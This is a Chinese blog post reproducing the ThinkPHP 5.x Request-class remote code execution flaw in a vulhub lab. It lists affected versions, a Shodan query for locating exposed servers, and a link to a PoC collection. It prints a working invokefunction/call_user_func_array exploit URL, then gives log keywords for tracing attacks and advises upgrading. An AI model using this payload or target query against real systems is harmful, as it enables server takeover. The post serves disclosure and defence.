ThinkPHP 5 核心类Request远程代码执行漏洞复现

ThinkPHP 5 核心类Request远程代码执行漏洞复现

漏洞简述

攻击者构造特定的恶意请求,可以直接获取服务器权限,受影响的版本包括5.0.0~5.0.23版本及5.1多个版本。由于ThinkPHP5框架对Request类的method处理存在缺陷,导致黑客构造特定的请求,可直接GetWebShell。

漏洞影响版本

5.0.0~5.0.23版本及5.1多个版本

Shodan 搜索语法

http.favicon.hash:1165838194

漏洞exp

https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

漏洞环境搭建

使用vulhub进行复现,运行ThinkPHP 5.0.20版本。环境启动后,访问http://your-ip:8080即可看到ThinkPHP默认启动页面。

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

即可执行phpinfo。

溯源排查

排查关键词:

/?s=index/index
?s=index/\think
call_user_func

本地使用docker进行搭建,可以使用docker logs查看日志。

也可以排查 thinkphp runtime日志。

thinkphp 日志配置

参考:https://www.kancloud.cn/manual/thinkphp5/118127

修复方式

升级ThinkPHP至最新版本。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论